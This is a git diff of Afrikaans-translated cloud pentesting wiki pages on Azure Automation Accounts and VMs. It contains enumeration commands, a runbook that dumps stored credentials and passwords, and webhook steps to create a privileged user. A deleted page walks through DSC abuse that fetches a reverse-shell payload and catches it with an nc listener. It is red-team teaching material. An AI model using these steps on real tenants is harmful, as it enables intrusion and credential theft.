[konfigurasies](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) vir nodes in enige wolk of op-premise datacenters te skryf, te bestuur en saam te stel. Die diens importeer ook [DSC Hulpbronne](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources), en ken konfigurasies aan teiken nodes toe, alles in die wolk. Jy kan Azure Automatisering Staat Konfigurasie in die Azure portaal toegang deur **Staat konfigurasie (DSC)** onder **Konfigurasiebestuur** te kies. - -**Sensitiewe inligting** kan in hierdie konfigurasies gevind word. - -### RCE - -Dit is moontlik om SC te misbruik om arbitraire skripte in die bestuurde masjiene uit te voer. - -{{#ref}} -az-state-configuration-rce.md -{{#endref}} - -## Enumerasie -```powershell -# Check user right for automation -az extension add --upgrade -n automation -az automation account list # if it doesn't return anything the user is not a part of an Automation group - -# Gets Azure Automation accounts in a resource group -Get-AzAutomationAccount - -# List & get DSC configs -Get-AzAutomationAccount | Get-AzAutomationDscConfiguration -Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match ''} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug -## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting) - -# List & get Run books code -Get-AzAutomationAccount | Get-AzAutomationRunbook -Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp - -# List credentials & variables & others -Get-AzAutomationAccount | Get-AzAutomationCredential -Get-AzAutomationAccount | Get-AzAutomationVariable -Get-AzAutomationAccount | Get-AzAutomationConnection -Get-AzAutomationAccount | Get-AzAutomationCertificate -Get-AzAutomationAccount | Get-AzAutomationSchedule -Get-AzAutomationAccount | Get-AzAutomationModule -Get-AzAutomationAccount | Get-AzAutomationPython3Package -## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them - -# List hybrid workers -Get-AzAutomationHybridWorkerGroup -AutomationAccountName -ResourceGroupName -``` -### Skep 'n Runbook -```powershell -# Get the role of a user on the Automation account -# Contributor or higher = Can create and execute Runbooks -Get-AzRoleAssignment -Scope /subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/ - -# Create a Powershell Runbook -Import-AzAutomationRunbook -Name -Path C:\Tools\username.ps1 -AutomationAccountName -ResourceGroupName -Type PowerShell -Force -Verbose - -# Publish the Runbook -Publish-AzAutomationRunbook -RunbookName -AutomationAccountName -ResourceGroupName -Verbose - -# Start the Runbook -Start-AzAutomationRunbook -RunbookName -RunOn Workergroup1 -AutomationAccountName -ResourceGroupName -Verbose -``` -### Exfiltreer Kredensiale & Veranderlikes gedefinieer in 'n Automatiseringsrekening met 'n Loopboek -```powershell -# Change the crdentials & variables names and add as many as you need -@' -$creds = Get-AutomationPSCredential -Name -$runbook_variable = Get-AutomationVariable -name -$runbook_variable -$creds.GetNetworkCredential().username -$creds.GetNetworkCredential().password -'@ | out-file -encoding ascii 'runbook_get_creds.ps1' - -$ResourceGroupName = '' -$AutomationAccountName = '' -$RunBookName = 'Exif-Credentials' #Change this for stealthness - -# Creare Run book, publish, start, and get output -New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell -Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force -Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -start-sleep 20 -($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt -``` -> [!NOTE] -> Jy kan dieselfde ding doen deur 'n bestaande Run Book te wysig, en vanaf die webkonsol. - -### Stappe om 'n Geautomatiseerde Hooggeprivilegieerde Gebruiker te Skep - -#### 1. Begin 'n Automatiseringsrekening - -- **Aksie Vereis:** Skep 'n nuwe Automatiseringsrekening. -- **Spesifieke Instelling:** Verseker dat "Create Azure Run As account" geaktiveer is. - -#### 2. Importeer en Stel Runbook op - -- **Bron:** Laai die voorbeeld runbook af van [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst). -- **Aksies Vereis:** -- Importeer die runbook in die Automatiseringsrekening. -- Publiseer die runbook om dit uitvoerbaar te maak. -- Koppel 'n webhook aan die runbook, wat eksterne triggers moontlik maak. - -#### 3. Konfigureer AzureAD Module - -- **Aksie Vereis:** Voeg die AzureAD module by die Automatiseringsrekening. -- **Addisionele Stap:** Verseker dat alle Azure Automatiseringsmodules opgedateer is na hul nuutste weergawes. - -#### 4. Toestemmingsaanstelling - -- **Rol om toe te ken:** -- Gebruiker Administrateur -- Subskripsie Eienaar -- **Teiken:** Ken hierdie rolle aan die Automatiseringsrekening toe vir nodige voorregte. - -#### 5. Bewustheid van Potensiële Toegangverlies - -- **Nota:** Wees bewus dat die konfigurasie van sulke outomatisering mag lei tot die verlies van beheer oor die subskripsie. - -#### 6. Trigger Gebruiker Skep - -- Trigger die webhook om 'n nuwe gebruiker te skep deur 'n POST versoek te stuur. -- Gebruik die PowerShell-skrip wat verskaf is, en verseker dat jy die `$uri` met jou werklike webhook-URL vervang en die `$AccountInfo` met die verlangde gebruikersnaam en wagwoord opdateer. -```powershell -$uri = "" -$AccountInfo = @(@{RequestBody=@{Username="";Password=""}}) -$body = ConvertTo-Json -InputObject $AccountInfo -$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body -``` -## Verwysings - -- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview) -- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) -- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation) - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md deleted file mode 100644 index d604408d4..000000000 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md +++ /dev/null @@ -1,57 +0,0 @@ -# Az - State Configuration RCE - -{{#include ../../../../banners/hacktricks-training.md}} - -**Kyk die volledige pos in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) - -### Samevatting van Afgeleë Bediener (C2) Infrastruktuur Voorbereiding en Stappe - -#### Oorsig - -Die proses behels die opstelling van 'n afgeleë bediener infrastruktuur om 'n gewysigde Nishang `Invoke-PowerShellTcp.ps1` payload, genaamd `RevPS.ps1`, te huisves, wat ontwerp is om Windows Defender te omseil. Die payload word bedien vanaf 'n Kali Linux masjien met IP `40.84.7.74` met behulp van 'n eenvoudige Python HTTP bediener. Die operasie word deur verskeie stappe uitgevoer: - -#### Stap 1 — Skep Lêers - -- **Benodigde Lêers:** Twee PowerShell skripte is nodig: -1. `reverse_shell_config.ps1`: 'n Gewenste Toestand Konfigurasie (DSC) lêer wat die payload aflaai en uitvoer. Dit is verkrygbaar van [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). -2. `push_reverse_shell_config.ps1`: 'n Skrip om die konfigurasie na die VM te publiseer, beskikbaar op [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). -- **Aangepas:** Veranderlikes en parameters in hierdie lêers moet aangepas word vir die gebruiker se spesifieke omgewing, insluitend hulpbronname, lêerpaaie, en bediener/payload identifiseerders. - -#### Stap 2 — Zip Konfigurasie Lêer - -- Die `reverse_shell_config.ps1` word gecomprimeer in 'n `.zip` lêer, wat dit gereed maak vir oordrag na die Azure Storage Account. -```powershell -Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip -``` -#### Stap 3 — Stel Bergingskonteks in & Laai op - -- Die gecomprimeerde konfigurasie-lêer word na 'n voorafbepaalde Azure Bergingshouer, azure-pentest, opgelaai met behulp van Azure se Set-AzStorageBlobContent cmdlet. -```powershell -Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx -``` -#### Stap 4 — Berei Kali Box Voor - -- Die Kali bediener laai die RevPS.ps1 payload af van 'n GitHub-bewaarplek. -```bash -wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 -``` -- Die skrip is gewysig om die teiken Windows VM en poort vir die omgekeerde skulp te spesifiseer. - -#### Stap 5 — Publiseer Konfigurasie Lêer - -- Die konfigurasie lêer word uitgevoer, wat lei tot die ontplooiing van die omgekeerde-skulpskrip na die gespesifiseerde ligging op die Windows VM. - -#### Stap 6 — Gasheer Payload en Stel Luisteraar Op - -- 'n Python SimpleHTTPServer word begin om die payload te gasheer, saam met 'n Netcat luisteraar om inkomende verbindings te vang. -```bash -sudo python -m SimpleHTTPServer 80 -sudo nc -nlvp 443 -``` -- Die geskeduleerde taak voer die payload uit, wat SYSTEM-vlak voorregte bereik. - -#### Gevolgtrekking - -Die suksesvolle uitvoering van hierdie proses open talle moontlikhede vir verdere aksies, soos geloofsbrief dumping of die uitbreiding van die aanval na verskeie VM's. Die gids moedig voortgesette leer en kreatiwiteit in die gebied van Azure Automation DSC aan. - -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md new file mode 100644 index 000000000..25cf37b8c --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md @@ -0,0 +1,227 @@ +# Az - Automatiseringsrekeninge + +{{#include ../../../../banners/hacktricks-training.md}} + +## Basiese Inligting + +Azure Automatiseringsrekeninge is wolk-gebaseerde dienste in Microsoft Azure wat help om **take te outomatieseer** soos hulpbronbestuur, konfigurasie en opdaterings oor Azure en plaaslike omgewings. Hulle bied **Runbooks** (scripts vir outomatisering wat uitgevoer word), **skedules**, en **hibridewerkersgroepe** om outomatiserings **take** uit te voer, wat infrastruktuur as kode (IaC) en prosesoutomatisering vir verbeterde doeltreffendheid en konsekwentheid in die bestuur van wolkbronne moontlik maak. + +### Instellings + +- **Geloofsbriewe**: Die wagwoord is slegs beskikbaar binne 'n runbook binne die automatiseringsrekening, dit word gebruik om **gebruikersname en wagwoorde veilig te stoor**. +- **Veranderlikes**: Gebruik om **konfigurasie data** te stoor wat in runbooks gebruik kan word. Dit kan ook sensitiewe inligting soos API sleutels wees. As die veranderlike **versleuteld gestoor** is, is dit slegs beskikbaar binne 'n runbook binne die automatiseringsrekening. +- **Sertifikate**: Gebruik om **sertifikate** te stoor wat in runbooks gebruik kan word. +- **Verbindings**: Gebruik om **verbindinginligting** na eksterne dienste te stoor. Dit kan **sensitiewe inligting** bevat. +- **Netwerktoegang**: Dit kan gestel word op **publiek** of **privaat**. + +## Runbooks & Take + +'n Runbook in Azure Automatisering is 'n **script wat take outomaties uitvoer** binne jou wolkomgewing. Runbooks kan geskryf word in PowerShell, Python, of grafiese redigeerders. Hulle help om administratiewe take soos VM-bestuur, patching, of nakomingstoetsing te outomatisseer. + +In die **kode** wat binne **Runbooks** geleë is, kan **sensitiewe inligting** (soos geloofsbriewe) bevat. + +Gaan na `Automatiseringsrekeninge` --> `` --> `Runbooks/Take/Hibridewerkersgroepe/Watcher take/geloofsbriewe/veranderlikes/sertifikate/verbindinge` + +'n **Taak is 'n instansie van 'n Runbook-uitvoering**. Wanneer jy 'n Runbook uitvoer, word 'n Taak geskep om daardie uitvoering te volg. Elke taak sluit in: + +- **Status**: In die ry, Besig, Voltooi, Misluk, Gestaak. +- **Uitset**: Die resultaat van die Runbook-uitvoering. +- **Begin- en Eindtyd**: Wanneer die taak begin en voltooi is. + +'n Taak bevat die **uitset** van die **Runbook**-uitvoering. As jy die **take** kan **lees**, doen dit aangesien hulle die **uitset** van die uitvoering bevat (potensieel **sensitiewe inligting**). + +### Skedules & Webhooks + +Daar is 3 hoofmaniere om 'n Runbook uit te voer: + +- **Skedules**: Hierdie word gebruik om Runbooks op 'n **spesifieke tyd** of **interval** te **aktiveer**. +- **Webhooks**: Hierdie is **HTTP eindpunte** wat gebruik kan word om Runbooks van **eksterne dienste** te **aktiveer**. Let daarop dat die webhook-URL **nie sigbaar** is na die skepping nie. +- **Handmatige Aktivering**: Jy kan 'n Runbook **handmatig aktiveer** vanaf die Azure-portaal en vanaf die cli. + +### Bronbeheer + +Dit laat toe om Runbooks van **Github, Azure Devops (Git) en Azure Devops (TFVC)** te importeer. Dit is moontlik om aan te dui om die Runbooks van die repo na die Azure Automatiseringsrekening te publiseer en dit is ook moontlik om aan te dui om die **veranderings van die repo** na die Azure Automatiseringsrekening te **sinkroniseer**. + +Wanneer die sinkronisasie geaktiveer is, word in die **Github-repo 'n webhook geskep** om die sinkronisasie te aktiveer elke keer as 'n push-gebeurtenis plaasvind. Voorbeeld van 'n webhook-URL: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d` + +Let daarop dat hierdie webhooks **nie sigbaar sal wees** wanneer webhooks in die geassosieerde runbooks na die Github-repo gelys word nie. Let ook daarop dat dit **nie moontlik is om die repo-URL** van 'n bronbeheer te verander sodra dit geskep is nie. + +Ten einde die geconfigureerde bronbeheer te laat werk, moet die **Azure Automatiseringsrekening** 'n bestuurde identiteit (stelsel of gebruiker) met die **`Contributor`** rol hê. Boonop, om 'n gebruikersbestuurde identiteit aan die Automatiseringsrekening toe te ken, is dit moontlik om dit te doen deur die veranderlike **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** op die **Gebruikersbestuurde Identiteit Klient-ID** te stel. + +### Runtime Omgewings + +Wanneer 'n Runbook geskep word, is dit moontlik om die runtime-omgewing te kies. Standaard is die volgende runtime-omgewings beskikbaar: + +- **Powershell 5.1** +- **Powershell 7.1** +- **PowerShell 7.2** +- **Python 3.10** +- **Python 3.8** +- **Python 2.7** + +Dit is egter ook moontlik om **jou eie omgewings te skep**, met een van hierdie as 'n basis. In die geval van Python, is dit moontlik om `.whl` pakkette na die omgewing op te laai wat gebruik sal word. In die geval van PowerShell, is dit moontlik om `.zip` pakkette met die modules op te laai wat in die runtime beskikbaar moet wees. + +### Hibridwerker + +'n Runbook kan in 'n **houer binne Azure** of in 'n **Hibridwerker** (nie-Azure masjien) uitgevoer word.\ +Die **Log Analytics Agent** word op die VM ontplooi om dit as 'n hibridwerker te registreer.\ +Die hibridwerker take loop as **SISTEEM** op Windows en **nxautomation** rekening op Linux.\ +Elke Hibridwerker is geregistreer in 'n **Hibridwerker Groep**. + +Daarom, as jy kan kies om 'n **Runbook** in 'n **Windows Hibridwerker** uit te voer, sal jy **arbitraire opdragte** binne 'n eksterne masjien as **Sisteem** uitvoer (mooi pivot tegniek). + +### Toestand Konfigurasie (SC) + +>[!WARNING] +> Soos aangedui in [die docs](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview), sal Azure Automatisering Toestand Konfigurasie op 30 September 2027 afgeskakel word en vervang word deur [Azure Masjien Konfigurasie](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview). + +Automatiseringsrekeninge ondersteun ook **Toestand Konfigurasie (SC)**, wat 'n kenmerk is wat help om die **toestand** van jou VM's te **konfigureer** en **onderhou**. Dit is moontlik om **te skep** en **toe te pas** DSC konfigurasies op **Windows** en **Linux** masjiene. + +Van 'n aanvallers perspektief was dit interessant omdat dit toegelaat het om **arbitraire PS kode in al die geconfigureerde VM's uit te voer**, wat dit moontlik gemaak het om voorregte na die bestuurde identiteite van hierdie VM's te eskaleer, wat potensieel na nuwe netwerke kan pivot... Ook, die konfigurasies kan **sensitiewe inligting** bevat. + +## Enumerasie +```bash +# List Automation Accounts +az automation account list --output table + +# Get Automation Account details +# Check the network access in `privateEndpointConnections` and `publicNetworkAccess` +# Check the managed identities in `identity` +az automation account show --name --resource-group + +# Get keys of automation account +## These are used for the DSC +az automation account list-keys --automation-account-name --resource-group + +# Get schedules of automation account +az automation schedule list --automation-account-name --resource-group + +# Get connections of automation account +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//connections?api-version=2023-11-01" + +# Get connection details +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//connections/?api-version=2023-11-01" + +# Get credentials of automation account +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//credentials?api-version=2023-11-01" + +# Get credential details +## Note that you will only be able to access the password from inside a Runbook +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//credentials/?api-version=2023-11-01" + +# Get certificates of automation account +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//certificates?api-version=2023-11-01" + +# Get certificate details +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//certificates/?api-version=2023-11-01" + +# Get variables of automation account +## It's possible to get the value of unencrypted variables but not the encrypted ones +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables?api-version=2023-11-01" + +# Get variable details +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2023-11-01" + +# Get runbooks of an automation account +az automation runbook list --automation-account-name --resource-group + +# Get runbook details +az automation runbook show --automation-account-name --resource-group --name + +# Get runbook content +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//runbooks//content?api-version=2023-11-01" + +# Get jobs of an automation account +az automation job list --automation-account-name --resource-group + +# Get job details +az automation job show --automation-account-name --resource-group --name + +# Get job output +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" + +# Get the Runbook content when the job was executed +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//runbookContent?api-version=2023-11-01" + +# Get webhooks inside an automation account +## It's possible to see to which runbook it belongs in the given data +## For security reasons it's not possible to see the URL of the webhook after creating it, here is a URL example: https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=dOdnxk6z7ugAxiuyUMKgPuDMav2Jw5EJediMdiN4jLo%3d +## Generating a webhook can be useful from a persistence perspective +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks?api-version=2018-06-30" + +# Get the source control setting of an automation account (if any) +## inside the output it's possible to see if the autoSync is enabled, if the publishRunbook is enabled and the repo URL +aaz automation source-control list --automation-account-name --resource-group + +# Get custom runtime environments +## Check in defaultPackages for custom ones, by default Python envs won't have anything here and PS1 envs will have "az" and "azure cli" +az automation runtime-environment list \ +--resource-group > \ +--automation-account-name \ +--query "[?!(starts_with(description, 'System-generated'))]" + +# Get State Configurations (SC) of an automation account +az automation dsc configuration list --automation-account-name --resource-group + +# Get State Configuration details +az automation dsc configuration show --automation-account-name --resource-group --name + +# Get State Configuration content +az automation dsc configuration show-content --automation-account-name --resource-group --name +``` + +```powershell +# Check user right for automation +az extension add --upgrade -n automation +az automation account list # if it doesn't return anything the user is not a part of an Automation group + +# Gets Azure Automation accounts in a resource group +Get-AzAutomationAccount + +# List & get DSC configs +Get-AzAutomationAccount | Get-AzAutomationDscConfiguration +Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match ''} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug +## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting) + +# List & get Run books code +Get-AzAutomationAccount | Get-AzAutomationRunbook +Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp + +# List credentials & variables & others +Get-AzAutomationAccount | Get-AzAutomationCredential +Get-AzAutomationAccount | Get-AzAutomationVariable +Get-AzAutomationAccount | Get-AzAutomationConnection +Get-AzAutomationAccount | Get-AzAutomationCertificate +Get-AzAutomationAccount | Get-AzAutomationSchedule +Get-AzAutomationAccount | Get-AzAutomationModule +Get-AzAutomationAccount | Get-AzAutomationPython3Package +## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them + +# List hybrid workers +Get-AzAutomationHybridWorkerGroup -AutomationAccountName -ResourceGroupName +``` +## Privilege Escalation & Post Exploitation + +{{#ref}} +../az-privilege-escalation/az-automation-accounts-privesc.md +{{#endref}} + +## Verwysings + +- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview) +- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) +- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation) + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/vms/README.md b/src/pentesting-cloud/azure-security/az-services/vms/README.md index c19ee7add..4bbe2a28a 100644 --- a/src/pentesting-cloud/azure-security/az-services/vms/README.md +++ b/src/pentesting-cloud/azure-security/az-services/vms/README.md @@ -4,7 +4,7 @@ ## Azure Netwerk Basiese Inligting -Azure netwerke bevat **verskillende entiteite en maniere om dit te konfigureer.** Jy kan 'n kort **beskrywings,** **voorbeelde** en **opnoem** opdragte van die verskillende Azure netwerk entiteite vind in: +Azure netwerke bevat **verskillende entiteite en maniere om dit te konfigureer.** Jy kan 'n kort **beskrywings,** **voorbeelde** en **enumerasie** opdragte van die verskillende Azure netwerk entiteite vind in: {{#ref}} az-azure-network.md @@ -19,13 +19,13 @@ Azure Virtuele Masjiene (VMs) is buigsaam, op aanvraag **cloud-gebaseerde bedien - **Beschikbaarheidsgebiede**: Beschikbaarheidsgebiede is afsonderlike groepe datacenters binne 'n spesifieke Azure streek wat fisies geskei is om die risiko te minimaliseer dat verskeie gebiede deur plaaslike onderbrekings of rampe geraak word. - **Sekuriteitstipe**: - **Standaard Sekuriteit**: Dit is die standaard sekuriteitstipe wat nie enige spesifieke konfigurasie vereis nie. -- **Vertroude Ontplooiing**: Hierdie sekuriteitstipe verbeter beskerming teen opstartkits en kernvlak malware deur gebruik te maak van Veilige Opstart en Virtuele Vertroude Platform Module (vTPM). +- **Vertroude Ontplooiing**: Hierdie sekuriteitstipe verbeter beskerming teen opstartkits en kernvlak malware deur Secure Boot en Virtual Trusted Platform Module (vTPM) te gebruik. - **Vertrouelike VMs**: Bo-op 'n vertroude ontplooiing, bied dit hardeware-gebaseerde isolasie tussen die VM, hypervisor en gasheerbestuur, verbeter die skyfversleuteling en [**meer**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.** - **Verifikasie**: Standaard word 'n nuwe **SSH-sleutel gegenereer**, alhoewel dit moontlik is om 'n publieke sleutel te gebruik of 'n vorige sleutel te gebruik en die gebruikersnaam is standaard **azureuser**. Dit is ook moontlik om te konfigureer om 'n **wagwoord** te gebruik. -- **VM skyfversleuteling:** Die skyf is standaard in rus versleuteld met 'n platform bestuurde sleutel. -- Dit is ook moontlik om **Versleuteling by gasheer** in te skakel, waar die data in die gasheer versleuteld sal word voordat dit na die stoor diens gestuur word, wat 'n einde-tot-einde versleuteling tussen die gasheer en die stoor diens verseker ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)). +- **VM skyfversleuteling:** Die skyf is standaard versleuteld wanneer dit rus met 'n platform bestuurde sleutel. +- Dit is ook moontlik om **Versleuteling by die gasheer** in te skakel, waar die data in die gasheer versleuteld sal word voordat dit na die stoor diens gestuur word, wat 'n einde-tot-einde versleuteling tussen die gasheer en die stoor diens verseker ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)). - **NIC netwerk sekuriteitsgroep**: -- **Geen**: Basies maak elke poort oop +- **Geen**: Basies elke poort oopmaak - **Basies**: Laat toe om die inkomende poorte HTTP (80), HTTPS (443), SSH (22), RDP (3389) maklik oop te maak - **Geavanceerd**: Kies 'n sekuriteitsgroep - **Rugsteun**: Dit is moontlik om **Standaard** rugsteun (een per dag) en **Verbeterde** (meerdere per dag) in te skakel @@ -38,19 +38,19 @@ Azure Virtuele Masjiene (VMs) is buigsaam, op aanvraag **cloud-gebaseerde bedien - Netwerk in Totaal is groter as 500GB - Netwerk Uit Totaal is groter as 200GB - VmAvailabilityMetric is minder as 1 -- **Gesondheidsmonitor**: Standaard kontrole protokol HTTP in poort 80 -- **Slotte**: Dit laat toe om 'n VM te sluit sodat dit net gelees kan word (**ReadOnly** slot) of dit kan gelees en opgedateer word maar nie verwyder word nie (**CanNotDelete** slot). -- Meeste VM verwante hulpbronne **ondersteun ook slotte** soos skywe, snappings... -- Slotte kan ook toegepas word op **hulpbron groep en subskripsie vlakke** +- **Gesondheidsmonitor**: Standaard kontroleer protokol HTTP op poort 80 +- **Slots**: Dit laat toe om 'n VM te vergrendel sodat dit net gelees kan word (**ReadOnly** slot) of dit kan gelees en opgedateer word maar nie verwyder word nie (**CanNotDelete** slot). +- Meeste VM verwante hulpbronne **ondersteun ook slots** soos skywe, snappings... +- Slots kan ook toegepas word op **hulpbron groep en subskripsie vlakke** ## Skywe & snappings -- Dit is moontlik om **te aktiveer om 'n skyf aan 2 of meer VMs te koppel** +- Dit is moontlik om **'n skyf aan 2 of meer VMs te koppel** - Standaard is elke skyf **versleuteld** met 'n platform sleutel. - Dieselfde in snappings - Standaard is dit moontlik om **die skyf van alle netwerke te deel**, maar dit kan ook **beperk** word tot slegs sekere **privaat toegang** of om **publieke en private toegang heeltemal te deaktiveer**. - Dieselfde in snappings -- Dit is moontlik om 'n **SAS URI** (maks 60 dae) te **genereer om die skyf te eksporteer**, wat gekonfigureer kan word om verifikasie te vereis of nie +- Dit is moontlik om **'n SAS URI** (maks 60 dae) te **genereer om die skyf te eksporteer**, wat gekonfigureer kan word om verifikasie te vereis of nie - Dieselfde in snappings {{#tabs}} @@ -76,10 +76,10 @@ Get-AzDisk -Name -ResourceGroupName ## Beelde, Galery Beelde & Herstelpunte -'n **VM beeld** is 'n sjabloon wat die bedryfstelsel, toepassingsinstellings en lêerstelsel bevat wat nodig is om 'n **nuwe virtuele masjien (VM)** te **skep**. Die verskil tussen 'n beeld en 'n skyf-snapshot is dat 'n skyf-snapshot 'n lees-alleen, punt-in-tyd kopie van 'n enkele bestuurde skyf is, wat hoofsaaklik vir rugsteun of probleemoplossing gebruik word, terwyl 'n beeld **meerdere skywe kan bevat en ontwerp is om as 'n sjabloon te dien vir die skep van nuwe VM's**.\ +'n **VM beeld** is 'n sjabloon wat die bedryfstelsel, toepassingsinstellings en lêerstelsel bevat wat nodig is om 'n **nuwe virtuele masjien (VM)** te **skep**. Die verskil tussen 'n beeld en 'n skyf-snapshot is dat 'n skyf-snapshot 'n lees-alleen, punt-in-tyd kopie van 'n enkele bestuurde skyf is, wat hoofsaaklik vir rugsteun of probleemoplossing gebruik word, terwyl 'n beeld **meerdere skywe kan bevat en ontwerp is om as 'n sjabloon vir die skep van nuwe VM's te dien**.\ Beelde kan bestuur word in die **Beelde afdeling** van Azure of binne **Azure rekenaar galerye** wat dit moontlik maak om **weergawe** te genereer en die beeld oor huurders te **deel** of selfs dit publiek te maak. -'n **herstelpunt** stoor die VM-konfigurasie en **punt-in-tyd** toepassings-konsistente **snapshots van al die bestuurde skywe** wat aan die VM gekoppel is. Dit is verwant aan die VM en die doel daarvan is om daardie VM te kan herstel na hoe dit was in daardie spesifieke punt in tyd. +'n **herstelpunt** stoor die VM-konfigurasie en **punt-in-tyd** toepassings-konsistente **snapshots van al die bestuurde skywe** wat aan die VM gekoppel is. Dit is verwant aan die VM en die doel daarvan is om daardie VM te kan herstel na hoe dit was in daardie spesifieke punt in tyd. {{#tabs}} {{#tab name="az cli"}} @@ -150,7 +150,7 @@ Van die [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-re Azure Bastion stel veilige en naatlose **Remote Desktop Protocol (RDP)** en **Secure Shell (SSH)** toegang tot jou virtuele masjiene (VMs) direk deur die Azure Portal of via 'n jump box. Deur **die behoefte aan publieke IP adresse** op jou VMs te verwyder. -Die Bastion ontplooi 'n subnet genaamd **`AzureBastionSubnet`** met 'n `/26` netmask in die VNet waarin dit moet werk. Dan, dit laat jou toe om **verbinding te maak met interne VMs deur die blaaiers** met behulp van `RDP` en `SSH` sonder om poorte van die VMs aan die Internet bloot te stel. Dit kan ook as 'n **jump host** werk. +Die Bastion ontplooi 'n subnet genaamd **`AzureBastionSubnet`** met 'n `/26` netmask in die VNet waarin dit moet werk. Dan, dit laat toe om **verbinding te maak met interne VMs deur die blaaiers** met behulp van `RDP` en `SSH` en vermy die blootstelling van poorte van die VMs aan die Internet. Dit kan ook as 'n **jump host** werk. Om al die Azure Bastion Hosts in jou subskripsie te lys en met VMs deur hulle te verbind, kan jy die volgende opdragte gebruik: @@ -189,7 +189,7 @@ Get-AzBastion ## 